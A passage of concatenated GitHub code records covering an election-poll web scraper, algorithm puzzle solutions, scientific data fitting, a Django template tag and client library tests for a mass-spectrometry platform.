\"'\"\n\n # add the questionaire results for each party\n for party_idx in range(0, nb_parties):\n actual_party_idx_in_url = party_idx + 3\n party_selector = 'td[' + str(actual_party_idx_in_url) + ']//text()'\n party_percentage = rows.xpath(party_selector).get()\n party_percentage_cleaned = party_percentage.replace(' ', '').replace('%', '').replace(',', '.')\n\n data_string += sep + \"'\" + party_percentage_cleaned + \"'\"\n data_string = self.clean_umlaute(data_string)\n\n # add meta info about the number of participiants\n people_asked_selector = 'td[@class=\"s\"][2]//text()'\n people_asked = rows.xpath(people_asked_selector).get()\n if people_asked is not None:\n people_asked_cleaned = people_asked.replace('.', '').replace(',', '').replace(' ', '')\n else:\n people_asked_cleaned = ''\n data_string += sep + \"'\" + people_asked_cleaned + \"'\"\n\n # add meta info about timebox in which the questioning took place\n time_from_to_selector = 'td[@class=\"s\"][3]//text()'\n time_from_to = rows.xpath(time_from_to_selector).get()\n if time_from_to is None:\n time_from_to = ''\n data_string += sep + \"'\" + time_from_to + \"'\"\n\n # delete existing row\n sqlstmt = \"\"\"delete from sonntagsfrage.results_questionaire\n where Datum = '\"\"\" + date + \"\"\"'\"\"\"\n cursor.execute(sqlstmt)\n conn.commit()\n\n # send datarow to azure sql db\n sqlstmt = \"\"\"insert into sonntagsfrage.results_questionaire(\n \"\"\" + header_string + \"\"\") values (\n \"\"\" + data_string + \"\"\"\n )\"\"\"\n logging.info(header_string)\n logging.info(sqlstmt)\n cursor.execute(sqlstmt)\n conn.commit()\n\n self.log('Saved file %s' % filename)\n\n def clean_for_double_party_names(self, parties_voted):\n \"\"\" Scraping the site yields: ['CDU', '/', 'CSU'].\n This Methods combines these to: ['CDU/CSU'] and combines with other party names to an array.\n \"\"\"\n try:\n cdu_cdu_pos = parties_voted.index('/')\n if cdu_cdu_pos is None:\n cdu_cdu_pos = parties_voted.index('.')\n except:\n return parties_voted\n\n cdu_csu = parties_voted[cdu_cdu_pos - 1:cdu_cdu_pos + 2]\n cdu_csu_string = ''.join(cdu_csu)\n parties_voted_fixed = parties_voted[0:cdu_cdu_pos - 1] \\\n + [cdu_csu_string] \\\n + parties_voted[cdu_cdu_pos + 2:len(parties_voted)]\n\n return parties_voted_fixed\n\n def clean_umlaute(self, input):\n replacers = {'ä': 'ae', 'ö': 'oe',\n 'ü': 'ue', 'ß': 'ss',\n 'Ä': 'AE', 'Ö': 'OE',\n 'Ü': 'UE', '–': '-'\n }\n for key, value in replacers.items():\n input = input.replace(key, value)\n\n return input\n\n\nprocess = None\nprocess = CrawlerRunner()\ncrawler = process.crawl(UmfrageerbegnisseSpider)\n\ncrawler.addBoth(lambda _: reactor.stop())\nreactor.run() # the script will block here until the crawling is finished\n\n","repo_name":"AndreasDit/Sonntagsfrage","sub_path":"src_old/data_from_internet/webcrawler.py","file_name":"webcrawler.py","file_ext":"py","file_size_in_byte":7159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"3436081570","text":"from functools import cache\nclass Solution:\n def minCost(self, n: int, cuts: List[int]) -> int:\n cuts.sort()\n ncuts = len(cuts)\n @cache\n def rec(il,ir):\n if il+1 == ir:\n return 0\n start = 0 if il == -1 else cuts[il]\n end = n if ir == ncuts else cuts[ir]\n result = None\n for i in range(il+1, ir):\n sub_result = end-start\n sub_result += rec(il, i)\n sub_result += rec(i, ir)\n if result is None or sub_result < result:\n result = sub_result\n return result\n return rec(-1,ncuts)\n","repo_name":"jlcarr/LeetCode","sub_path":"Problem_1547/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"72176840553","text":"import sys\r\nfrom collections import deque\r\ninput = sys.stdin.readline\r\n\r\ndef bfs(queue):\r\n answer = -1\r\n while queue:\r\n answer += 1\r\n for _ in range(len(queue)):\r\n x, y = queue.popleft()\r\n for dx, dy in [(1, 0), (-1, 0), (0, 1), (0, -1)]:\r\n nx, ny = x+dx, y+dy\r\n if 0 <= nx < n and 0 <= ny < m:\r\n if board[nx][ny] == 0:\r\n board[nx][ny] = board[x][y]+1\r\n queue.append((nx, ny))\r\n for i in range(n):\r\n if 0 in board[i]:\r\n answer = -1\r\n break\r\n return answer\r\n\r\nm, n = map(int, input().split())\r\nboard = [list(map(int, input().split())) for _ in range(n)]\r\nqueue = deque()\r\nfor i in range(n):\r\n for j in range(m):\r\n if board[i][j] == 1:\r\n queue.append((i, j))\r\nprint(bfs(queue))","repo_name":"khw5123/Algorithm","sub_path":"BOJ/BFS(너비 우선 탐색)/토마토.py","file_name":"토마토.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"72204952552","text":"#!/bin/python\n\"\"\"Advent of Code, Day 9: Marble Mania. Simulate a marble game.\"\"\"\n\nfrom lib import aoc\n\nSAMPLE = [\n \"9 players; last marble is worth 25 points\",\n \"10 players; last marble is worth 1618 points\",\n \"13 players; last marble is worth 7999 points\",\n \"17 players; last marble is worth 1104 points\",\n \"21 players; last marble is worth 6111 points\",\n \"30 players; last marble is worth 5807 points\",\n]\n\nLineType = list[int]\nInputType = list[LineType]\n\n\nclass Day09(aoc.Challenge):\n \"\"\"Day 9: Marble Mania.\"\"\"\n\n TESTS = [\n aoc.TestCase(inputs=SAMPLE[0], part=1, want=32),\n aoc.TestCase(inputs=SAMPLE[1], part=1, want=8317),\n aoc.TestCase(inputs=SAMPLE[2], part=1, want=146373),\n aoc.TestCase(inputs=SAMPLE[3], part=1, want=2764),\n aoc.TestCase(inputs=SAMPLE[4], part=1, want=54718),\n aoc.TestCase(inputs=SAMPLE[5], part=1, want=37305),\n aoc.TestCase(inputs=SAMPLE[0], part=2, want=aoc.TEST_SKIP),\n ]\n PARAMETERIZED_INPUTS = [1, 100] # Part 2: do part 1 with 100 more steps.\n\n def solver(self, parsed_input: InputType, *args, **kwargs) -> int:\n players, last = parsed_input[0]\n # Multiple last value by 1 or 100 for parts 1, 2.\n last *= args[0]\n\n score = [0] * players\n cur = aoc.Node(0)\n cur.next = cur.prev = cur\n\n for marble in range(1, last + 1):\n if marble % 23:\n cur = aoc.Node(marble, prev=cur.next, next=cur.next.next)\n else:\n for _ in range(6):\n cur = cur.prev\n removed = cur.prev\n score[(marble - 1) % players] += marble + removed.val\n removed.prev.next = removed.next\n removed.next.prev = removed.prev\n\n return max(score)\n","repo_name":"IsaacG/Advent-of-Code","sub_path":"2018/09.py","file_name":"09.py","file_ext":"py","file_size_in_byte":1806,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"72"} +{"seq_id":"16479759758","text":"from django import template\nfrom django.utils.translation import get_language\n\nregister = template.Library()\n\n\n@register.simple_tag(name=\"fa_locale_code\")\ndef fa_locale_code():\n \"\"\"\n Returns the FormAssembly locale code for the current language.\n \"\"\"\n\n fa_default = \"en_US\"\n\n # key: available locales on fo.mo\n # value: ISO code used by FormAssembly https://app.formassembly.com/translate\n mappings = {\n \"en\": fa_default,\n \"de\": \"de\",\n \"es\": \"es\",\n \"fr\": \"fr\",\n \"fy-NL\": None,\n \"nl\": \"nl\",\n \"pl\": \"pl\",\n \"pt-BR\": \"pt_BR\",\n \"sw\": None,\n }\n\n fa_supported_locale = mappings.get(get_language())\n\n return fa_supported_locale if fa_supported_locale else fa_default\n","repo_name":"MozillaFoundation/foundation.mozilla.org","sub_path":"network-api/networkapi/utility/templatetags/formassembly_helper.py","file_name":"formassembly_helper.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","stars":344,"dataset":"github-code","pt":"72"} +{"seq_id":"6453282231","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu May 31 08:17:38 2018\n\n@author: IS96347\n\"\"\"\n\nimport pandas as pd\nimport random\nimport matplotlib.pyplot as plt\n\nveriler = pd.read_csv(\"7.1.1_Ads_CTR_Optimisation.csv\")\n\nN, d = veriler.shape\n\nbirler = [0] * d\nsifirlar = [0] * d\nsecilenler = []\ntoplam = 0\nfor n in range(0, N):\n max_th = 0\n ad = 0\n for i in range(0, d):\n beta = random.betavariate(birler[i] + 1, sifirlar[i] + 1)\n if beta > max_th:\n max_th = beta\n ad = i\n secilenler.append(ad)\n odul = veriler.values[n, ad]\n if odul == 1:\n birler[ad] += 1\n else:\n sifirlar[ad] += 1\n toplam += odul\n\nprint(toplam)\n\nplt.hist(secilenler)\nplt.show","repo_name":"inantubek/Udemy","sub_path":"makine-ogrenmesi/7.2_thompson.py","file_name":"7.2_thompson.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73965622314","text":"from load_app.common.consts import *\nfrom load_app.common.database import Database\nimport logging\n\ndef clean_up_meta_table():\n\n\tDatabase.instance.call(\"drop table if exists meta_save\", echo=False)\n\tDatabase.instance.call(\"create table meta_save (svalue text, ivalue int)\", echo=False)\n\tDatabase.instance.call(\"insert into meta_save (svalue, ivalue) (select svalue, mi from (select svalue, min(ivalue) mi from meta where varname = 'upload_name' and svalue != '' group by varname, svalue) t order by mi)\", echo=False)\n\tDatabase.instance.call(\"delete from meta where varname = 'upload_name'\", echo=False)\n\tDatabase.instance.call(\"insert into meta (varname, svalue, ivalue) (select 'upload_name', svalue, ivalue from meta_save)\", echo=False)\n\t# update version correspondingly (just in case, echo=False)\n\tDatabase.instance.call(\"update meta set ivalue = a.ivalue from (select max(ivalue) ivalue from meta where varname = 'upload_name') a where varname = 'version'\", echo=False)\n\t# delete extra \"n_partitions\" entries that seem to have crept in (because they annoy me, echo=False)\n\tDatabase.instance.call(\"delete from meta using (select min(ctid) as ctid, svalue from meta group by svalue having count(*) > 1) m where meta.svalue = 'n_partitions' and meta.svalue = m.svalue and meta.ctid <> m.ctid\", echo=False)\n\t# fix sz,mz having a comma, which borks the results we get from select (because I don't handle commas in quotation groups in the database select parsing, echo=False)\n\t# I know- it's a bit silly that I'm writing my own library for this instead of using a pre-existing one that would handle things like this\n\t# but we've already gotten this far...\n\tDatabase.instance.call(\"update meta set svalue = replace(svalue, ',', '_') where varname = 'upload_name'\", echo=False)\n\ndef check_upload_history(check_valid=None, show_missing=False):\n\t\n\tpresent_mandatory = []\n\tmissing_mandatory = []\n\tpresent_optional = []\n\tmissing_optional = []\n\tvalid_optional = []\n\n\tuploads_hist = []\n\twith open(BINDIR + '/common_files/tin_upload_history.txt') as upload_hist:\n\t\tfor i, line in enumerate(upload_hist):\n\t\t\tif i == 0:\n\t\t\t\tcontinue\n\t\t\tline = line.split('#')[0]\n\t\t\tif not line:\n\t\t\t\tcontinue\n\t\t\tuploads_hist.append(line.strip().split()[0])\n\t\n\tuploads_hist = list(reversed(uploads_hist))\n\t#logging.debug(uploads_hist)\n\n\t#clean_up_meta_table()\n\tdatabase_uploads_hist = Database.instance.select(\"select svalue, ivalue from (select distinct on (svalue) svalue, ivalue from meta where varname = 'upload_name') t order by t.ivalue desc\").all()\n\n\twhile not len(uploads_hist) == 0 and not len(database_uploads_hist) == 0:\n\t\tdb_upload = None\n\n\t\tdb_upload = database_uploads_hist.pop()[0]\n\t\tupload = uploads_hist.pop()\n\n\t\toptional = False\n\t\tif upload.endswith('*'):\n\t\t\tupload = upload[:-1]\n\t\t\toptional = True\n\t\t\twhile optional and db_upload != upload:\n\t\t\t\tmissing_optional.append(upload)\n\t\t\t\t#logging.debug('opt* '+ upload)\n\t\t\t\tupload = uploads_hist.pop()\n\t\t\t\toptional = upload.endswith('*')\n\t\t\t\tif optional:\n\t\t\t\t\tupload = upload[:-1]\n\t\t\tif optional and db_upload == upload:\n\t\t\t\tpresent_optional.append(upload)\n\n\t\t#logging.debug('db_upload={}, upload={}, uploads_hist={}, db_uploads_hist={}, opt={}'.format(db_upload, upload, uploads_hist, database_uploads_hist, optional))\n\n\t\tif upload != db_upload and not optional:\n\t\t\traise Exception(\"database history out of order! up: {}, dbu: {}\".format(upload, db_upload))\n\t\t#if upload == check_valid:\n\t\t#\treturn True # indicates check_valid is valid & present in the history -\n\n\t\tpresent_mandatory.append(upload)\n\n\t#if len(uploads_hist) == 0:\n\t#\tif len(database_uploads_hist) == 0 and not check_valid:\n\t#\t\tpass\n\t#\telif len(database_uploads_hist) == 0:\n\t#\t\traise Exception('transaction {} does not exist in the history!'.format(check_valid))\n\t#\telse:\n\t#\t\traise Exception(\"database has more transactions than are recorded in the history file!\")\n\tif len(uploads_hist) > 0:\n\t\tremaining_mandatory = list(filter(lambda x:not x.endswith('*'), uploads_hist))\n\t\tmissing_mandatory.extend(remaining_mandatory)\n\t\tif len(remaining_mandatory) > 0:\n\t\t\toldest_mandatory = remaining_mandatory[-1]\n\t\t\toldest_idx = uploads_hist.index(oldest_mandatory)\n\t\t\toptional_remaining = uploads_hist[oldest_idx+1:]\n\t\t\tvalid_optional.extend([x[:-1] for x in optional_remaining])\n\t\telse:\n\t\t\toldest_mandatory = oldest_idx = None\n\t\t\toptional_remaining = list(filter(lambda x:x.endswith('*'), uploads_hist))\n\t\t\tvalid_optional.extend([x[:-1] for x in optional_remaining])\n\t\t# if the histories correspond up to this point, and there are more uploads to be done, then check that the set to be uploaded matches the oldest set not yet uploaded\n\t\t#if not check_valid or check_valid == oldest_mandatory or check_valid+'*' in optional_remaining:\n\t\t#\tpass\n\t\t#else:\n\t\t#\traise Exception('transaction {} not valid for current database'.format(check_valid))\n\n\t#if show_missing:\n\t#\tremaining_mandatory = list(filter(lambda x:not x.endswith('*'), uploads_hist))\n\t#\tif len(remaining_mandatory) > 0:\n\t#\t\toldest_mandatory = remaining_mandatory[-1]\n\t#\t\toldest_idx = uploads_hist.index(oldest_mandatory)\n\t#\t\toptional_remaining = uploads_hist[oldest_idx+1:]\n\t#\telse:\n\t#\t\toldest_mandatory = oldest_idx = None\n\t#\t\toptional_remaining = list(filter(lambda x:x.endswith('*'), uploads_hist))\n\n\t#\tprint(\"missing required={}, optional={}\".format(','.join(remaining_mandatory), ','.join(optional_remaining)))\n\n\t#return True\n\treturn present_mandatory, missing_mandatory, present_optional, missing_optional, valid_optional\n\ndef validate_history(check_valid=None, show_missing=False):\n\tpresent_mandatory, missing_mandatory, present_optional, missing_optional, valid_optional = check_upload_history()\n\n\tif check_valid:\n\t\tif check_valid in present_mandatory or check_valid == missing_mandatory[-1] or check_valid in valid_optional:\n\t\t\treturn True\n\t\telse:\n\t\t\traise Exception('{} not valid for database!'.format(check_valid))\n\n\tif show_missing:\n\t\tlogging.debug('missing mandatory: {}'.format(missing_mandatory))\n\t\tlogging.debug('missing optional: {}'.format(missing_optional))\n\t\tlogging.debug('valid optional: {}'.format(valid_optional))\n\t\tif len(missing_mandatory) > 0:\n\t\t\traise Exception('latest missing: {}'.format(missing_mandatory))\n\n","repo_name":"docking-org/zinc22-2d","sub_path":"load_app/tin/upload_hist.py","file_name":"upload_hist.py","file_ext":"py","file_size_in_byte":6188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"14972816197","text":"import os\nimport sys\nfrom random import random\n\nimport numpy as np\nfrom matplotlib.ticker import MultipleLocator\nfrom scipy.optimize import curve_fit\nimport matplotlib.pyplot as plt\n\nfrom parsers.configparser_ import ConfigParser\n\n\ndef gauss(x, *p):\n a, b, c = p\n return a*np.exp(-(x-b)**2*np.log(2)/(c**2))\n\n\ndef get_configs(section, key):\n \"\"\"\n\n :param section: configuration file section\n :param key: configuration file sections\n :return: configuration file section key\n \"\"\"\n config_file_path = \"config/config.cfg\"\n config = ConfigParser(config_file_path)\n return config.get_config(section, key)\n\n\ndef main():\n dpi = 150\n dates = {file.split(\"-\")[0].strip(): file.split(\"-\")[1].strip() for file in\n get_configs(\"parameters\", \"dates\").split(\",\")}\n file_order = [file.strip() for file in get_configs(\"parameters\", \"fileOrder\").split(\",\")]\n groups_file_path = get_configs(\"paths\", \"groups\")\n files = os.listdir(groups_file_path)\n files_in_order = []\n\n for fo in file_order:\n for f in files:\n if fo.split(\".\")[0] == f.split(\".\")[0]:\n files_in_order.append(f)\n\n minor_locator_vel = MultipleLocator(0.5)\n fig, ax = plt.subplots(nrows=len(file_order), ncols=1, figsize=(11.7, 8.3), dpi=dpi, sharex=\"all\")\n\n colors = []\n group_index = []\n max_vel = []\n min_vel = []\n max_intensity = []\n min_intensity = []\n print(\"\\hline\")\n epoch_data = dict()\n for file in files_in_order:\n index = files_in_order.index(file)\n title = dates[file.split(\".\")[0]]\n print(file)\n group, channel, velocity, intensity, integral_intensity, ra, dec = np.loadtxt(groups_file_path + file,\n unpack=True)\n groups = list(set(group))\n max_vel.append(max(velocity))\n min_vel.append(min(velocity))\n max_intensity.append(max(intensity))\n min_intensity.append(min(intensity))\n epoch_data[file.split(\".\")[0].upper()] = dict()\n\n data = dict()\n for g in groups:\n if int(g) not in group_index:\n group_index.append(int(g))\n colors.append((random(), random(), random()))\n\n data[g] = dict()\n vel = []\n intensity_tmp = []\n ra_ = []\n dec_ = []\n for ch in range(0, len(channel)):\n if group[ch] == g:\n vel.append(velocity[ch])\n intensity_tmp.append(intensity[ch])\n ra_.append(ra[ch])\n dec_.append(dec[ch])\n\n data[g][\"vel\"] = vel\n data[g][\"intensity\"] = intensity_tmp\n data[g][\"ra\"] = ra_\n data[g][\"dec\"] = dec_\n\n for g in groups:\n\n vel = data[g][\"vel\"]\n intensity_tmp = np.array(data[g][\"intensity\"]).clip(2)\n ra_ = data[g][\"ra\"]\n dec_ = data[g][\"dec\"]\n\n group_len = len(intensity_tmp)\n p0 = [max(intensity_tmp), min(vel) + 0.5 * (max(vel) - min(vel)), 0.2]\n color = colors[int(groups.index(g))]\n\n size = []\n for j in range(0, len(vel)):\n for k in range(j + 1, len(vel)):\n dist = np.sqrt((ra_[j] - ra_[k]) ** 2 + (dec_[j] - dec_[k]) ** 2)\n size.append(dist)\n\n line = np.array(intensity_tmp).argmax()\n if group_len >= 3:\n if g not in epoch_data[file.split(\".\")[0].upper()].keys():\n epoch_data[file.split(\".\")[0].upper()][g] = []\n try:\n coeff, var_matrix = curve_fit(gauss, vel, intensity_tmp, p0=p0, maxfev=100000)\n except:\n pass\n\n print(\"{\\\\it %d} & %.3f & %.3f & %.1f & %.2f & %.2f & %.3f & %.3f & %.1f(%.1f) & %.3f(%.3f)\\\\\\\\\" %\n (g, ra_[line], dec_[line], vel[line], coeff[1],\n coeff[2] * 2, intensity_tmp[line], coeff[0], max(size), max(size) * 1.64,\n (vel[0] - vel[len(vel) - 1]) / max(size), (vel[0] - vel[len(vel) - 1]) / (max(size) * 1.64)))\n\n q = np.linspace(min(vel), max(vel), 1000)\n hist_fit = gauss(q, *coeff)\n ax[index].plot(q, hist_fit.clip(2), 'k')\n epoch_data[file.split(\".\")[0].upper()][g].append(ra_[line])\n epoch_data[file.split(\".\")[0].upper()][g].append(dec_[line])\n epoch_data[file.split(\".\")[0].upper()][g].append(vel[line])\n epoch_data[file.split(\".\")[0].upper()][g].append(coeff[1])\n epoch_data[file.split(\".\")[0].upper()][g].append(coeff[2] * 2)\n epoch_data[file.split(\".\")[0].upper()][g].append(intensity_tmp[line])\n epoch_data[file.split(\".\")[0].upper()][g].append(coeff[0])\n epoch_data[file.split(\".\")[0].upper()][g].append(max(size))\n epoch_data[file.split(\".\")[0].upper()][g].append(max(size) * 1.64)\n epoch_data[file.split(\".\")[0].upper()][g].append((vel[0] - vel[len(vel) - 1]) / max(size))\n epoch_data[file.split(\".\")[0].upper()][g].append((vel[0] - vel[len(vel) - 1]) / (max(size) * 1.64))\n\n else:\n if len(size) > 0:\n print(\"{\\\\it %d} & %.3f & %.3f & %.1f & %s & %s & %.3f & %s & %.1f(%.1f) & %.3f(%.3f)\\\\\\\\\" %\n (g, ra_[line], dec_[line], vel[line], \"-\",\n \"-\", intensity_tmp[line], \"-\", max(size), max(size) * 1.64,\n (vel[0] - vel[len(vel) - 1]) / max(size), (vel[0] - vel[len(vel) - 1]) / (max(size) * 1.64)))\n\n else:\n print(\"{\\\\it %d} & %.3f & %.3f & %.1f & %s & %s & %.3f & %s & %s & %s\\\\\\\\\" %\n (g, ra_[line], dec_[line], vel[line], \"-\",\n \"-\", intensity_tmp[line], \"-\", \"-\", \"-\"))\n\n ax[index].scatter(vel, np.array(intensity_tmp), c=np.array([color]))\n\n ax[index].text(-5.5, 5, title, size=12)\n ax[index].xaxis.set_minor_locator(minor_locator_vel)\n\n ax[0].set_ylabel('Flux density [Jy]', fontsize=12)\n for file in files_in_order:\n index = files_in_order.index(file)\n ax[index].set_xlim(min(min_vel) - 0.5, max(max_vel) + 0.5)\n ax[index].set_ylim(min(min_intensity), max(max_intensity))\n ax[-1].set_xlabel('$V_{\\\\rm LSR}$ [km s$^{-1}$]', fontsize=12)\n\n plt.tight_layout()\n plt.subplots_adjust(top=0.97, bottom=0.06, wspace=0, hspace=0.05, left=0.05, right=0.99)\n print(\"\\hline\")\n\n plt.show()\n\n\nif __name__ == \"__main__\":\n main()\n sys.exit(0)\n","repo_name":"sklandrausis/maser_relative_motion","sub_path":"gauss_fit_for_all_groups.py","file_name":"gauss_fit_for_all_groups.py","file_ext":"py","file_size_in_byte":6720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15930042030","text":"# sentence score threshold factor, hyper parameter that can be\n# tweaked that dictates the boundary on which we choose the top sentences.\navg_score_factor = 1.25\n\n# percentage summary any value < 50% only\nthreshold_percentage = 0.2\n\n# files directory to load from. please change this first before you proceed.\ndata_files_dir = 'D:\\\\Projects\\\\Tests\\\\data'\n\n# default name for the text file. please change this if you'd require loading from a different file.\ntext_file_name = \"Text_To_Summarize.txt\"\n\n# constants for file reading / writing operations.\nfile_read_command = \"r\"\nfile_append_command = \"a\"\n\n# constant for choosing nltk summary language\nsummary_lang = \"english\"\n\n# constant string to separate the summary in the result file\nsummary_title = \"\\n\\n\\n============================ SUMMARY ========================\\n\\n\\n\"\n","repo_name":"mhserry/Tests","sub_path":"src/Constants.py","file_name":"Constants.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"3075188389","text":"import json\n\n\ndef jsonattr(filename: str):\n data = None\n with open(filename) as fl:\n data = json.load(fl)\n\n def decor(cls):\n for atr, value in data.items():\n setattr(cls, atr, value)\n return cls\n\n return decor\n","repo_name":"Bl00dWolf/Stepik_Course","sub_path":"Course OOP/8. Дополнительные возможности/8.5 Декораторы. Часть 2/8.5.12 Декоратор @jsonattr.py","file_name":"8.5.12 Декоратор @jsonattr.py","file_ext":"py","file_size_in_byte":254,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"74118698793","text":"class UnionFind:\n\n def __init__(self, size):\n self.root = list(range(size))\n\n def find(self, x):\n if x != self.root[x]:\n self.root[x] = self.find(self.root[x])\n return self.root[x]\n\n def union(self, x, y):\n root_x = self.find(x)\n root_y = self.find(y)\n if root_x != root_y:\n self.root[root_x] = root_y\n\n\nclass Solution:\n def distanceLimitedPathsExist(self, n: int, edgeList: list[list[int]], queries: list[list[int]]) -> list[bool]:\n uf = UnionFind(n)\n sorted_edges = sorted((dist, u, v) for u, v, dist in edgeList)\n sorted_queries = sorted((max_dist, p, q, i) for i, (p, q, max_dist) in enumerate(queries))\n\n res = [False] * len(sorted_queries)\n i = 0\n for max_dist, p, q, idx in sorted_queries:\n while i < len(sorted_edges) and sorted_edges[i][0] < max_dist:\n __, u, v = sorted_edges[i]\n uf.union(u, v)\n i += 1\n res[idx] = uf.find(p) == uf.find(q)\n\n return res\n","repo_name":"cabulous/leetcode","sub_path":"python/1697.py","file_name":"1697.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"34756351350","text":"import time\nfrom copy import deepcopy\nfrom pathlib import Path\n\nimport pytest\n\nfrom metaspace import SMInstance\nfrom metaspace.tests.utils import sm, my_ds_id, metadata\n\nTEST_DATA_PATH = str((Path(__file__).parent / '../../../engine/tests/data').resolve())\n\n\ndef test_add_dataset_external_link(sm, my_ds_id):\n provider = 'MetaboLights'\n link = 'https://www.ebi.ac.uk/metabolights/MTBLS313'\n\n result = sm.add_dataset_external_link(my_ds_id, provider, link)\n\n assert any(ext_link == {'provider': provider, 'link': link} for ext_link in result)\n\n\ndef test_remove_dataset_external_link(sm, my_ds_id):\n provider = 'MetaboLights'\n link = 'https://www.ebi.ac.uk/metabolights/MTBLS313'\n\n result = sm.remove_dataset_external_link(my_ds_id, provider, link)\n\n assert not any(ext_link == {'provider': provider, 'link': link} for ext_link in result)\n\n\ndef test_datasets_by_id(sm, my_ds_id):\n result = sm.datasets(idMask=[my_ds_id])\n\n assert len(result) == 1\n assert result[0].id == my_ds_id\n\n\ndef test_datasets_by_name(sm, my_ds_id):\n ds_name = sm.datasets(idMask=[my_ds_id])[0].name # assuming this works\n\n result = sm.datasets(nameMask=ds_name)\n\n assert len(result) > 0\n assert any(r.name == ds_name for r in result)\n\n\ndef test_datasets_by_project(sm):\n project_id = [p['id'] for p in sm.projects.get_all_projects() if p['numDatasets'] > 0][0]\n print(sm.projects.get_all_projects())\n print(project_id)\n\n result = sm.datasets(project=project_id)\n\n print(result)\n assert len(result) > 0\n\n\ndef test_datasets_by_all_fields(sm: SMInstance):\n project_id = [p['id'] for p in sm.projects.get_all_projects() if p['numDatasets'] > 0][0]\n\n # If anything is broken with the GraphQL mapping, this will throw an exception\n sm.datasets(\n nameMask='foo',\n idMask='foo',\n submitter_id=sm.current_user_id(),\n group_id=sm._gqclient.get_primary_group_id(),\n project=project_id,\n polarity='Positive',\n ionisation_source='MALDI',\n analyzer_type='Orbitrap',\n maldi_matrix='DHB',\n organism='Human',\n organismPart='Cells',\n )\n\n\n@pytest.mark.skip('This test triggers processing and should only be run manually')\ndef test_submit_dataset(sm: SMInstance, metadata):\n time.sleep(1) # Ensure no more than 1 DS per second is submitted to prevent errors\n\n new_ds_id = sm.submit_dataset(\n f'{TEST_DATA_PATH}/untreated/Untreated_3_434.imzML',\n f'{TEST_DATA_PATH}/untreated/Untreated_3_434.ibd',\n 'Test dataset',\n metadata,\n False,\n )\n\n new_ds = sm.dataset(id=new_ds_id)\n assert new_ds.name == 'Test dataset'\n assert new_ds.polarity == 'Positive'\n assert set(new_ds.adducts) == {'+H', '+Na', '+K'} # Ensure defaults were added\n\n\n@pytest.mark.skip('This test triggers processing and should only be run manually')\ndef test_submit_dataset_clone(sm: SMInstance, my_ds_id, metadata):\n time.sleep(1) # Ensure no more than 1 DS per second is submitted to prevent errors\n\n project_id = sm.projects.get_all_projects()[0]['id']\n new_ds_id = sm.submit_dataset(\n None,\n None,\n 'Test clone dataset',\n metadata,\n False,\n [22, ('ChEBI', '2018-01')],\n project_ids=[project_id],\n adducts=['[M]+'],\n neutral_losses=['-H2O'],\n chem_mods=['+CO2'],\n ppm=2,\n num_isotopic_peaks=2,\n decoy_sample_size=10,\n analysis_version=2,\n input_path=sm.dataset(id=my_ds_id)._info['inputPath'],\n description='Test description\\nNew line\\n\\nNew paragraph [{\"\\\\escape characters',\n )\n\n new_ds = sm.dataset(id=new_ds_id)\n assert new_ds.name == 'Test clone dataset'\n assert new_ds.polarity == 'Positive'\n assert new_ds.adducts == ['[M]+']\n\n dbs = [dd['name'] for dd in new_ds.database_details]\n assert 'HMDB' in dbs\n assert 'ChEBI' in dbs\n assert new_ds.config['analysis_version'] == 2\n assert new_ds.config['isotope_generation']['n_peaks'] == 2\n assert new_ds.config['isotope_generation']['neutral_losses'] == ['-H2O']\n assert new_ds.config['isotope_generation']['chem_mods'] == ['+CO2']\n assert new_ds.config['fdr']['decoy_sample_size'] == 10\n assert new_ds.config['image_generation']['ppm'] == 2\n\n\ndef test_update_dataset_without_reprocessing(sm: SMInstance, my_ds_id):\n old_ds = sm.dataset(id=my_ds_id)\n new_name = 'foo' if old_ds.name != 'foo' else 'bar'\n metadata = deepcopy(old_ds.metadata)\n metadata['Sample_Information']['Organism'] = new_name\n\n sm.update_dataset(id=my_ds_id, name=new_name, metadata=metadata)\n\n # Wait for reindexing, as dataset updates are async\n attempts = 0\n while sm.dataset(id=my_ds_id).name != new_name and attempts < 10:\n time.sleep(1)\n attempts += 1\n\n assert sm.dataset(id=my_ds_id).name == new_name\n\n\n@pytest.mark.skip('This test triggers reprocessing and should only be run manually')\ndef test_update_dataset_with_auto_reprocessing(sm: SMInstance, my_ds_id):\n old_ds = sm.dataset(id=my_ds_id)\n new_adducts = ['+H'] if old_ds.adducts != ['+H'] else ['+K']\n\n assert old_ds.status == 'FINISHED'\n\n sm.update_dataset(id=my_ds_id, adducts=new_adducts)\n\n # Wait for dataset to change status\n attempts = 0\n while sm.dataset(id=my_ds_id).status != 'FINISHED' and attempts < 10:\n time.sleep(1)\n attempts += 1\n\n assert sm.dataset(id=my_ds_id).status in ('QUEUED', 'ANNOTATING')\n","repo_name":"metaspace2020/metaspace","sub_path":"metaspace/python-client/metaspace/tests/test_sm_instance.py","file_name":"test_sm_instance.py","file_ext":"py","file_size_in_byte":5470,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"72"} +{"seq_id":"20426957981","text":"from ..Commons import *\nfrom ..Language.DataStructure import *\nfrom ..Language.Syntax import *\n\n\ndef post_combinaison_prod(self, TABLE_COEF_FIN=None, **args):\n \"\"\"Define the type of the result.\"\"\"\n if TABLE_COEF_FIN != None:\n self.type_sdprod(TABLE_COEF_FIN, 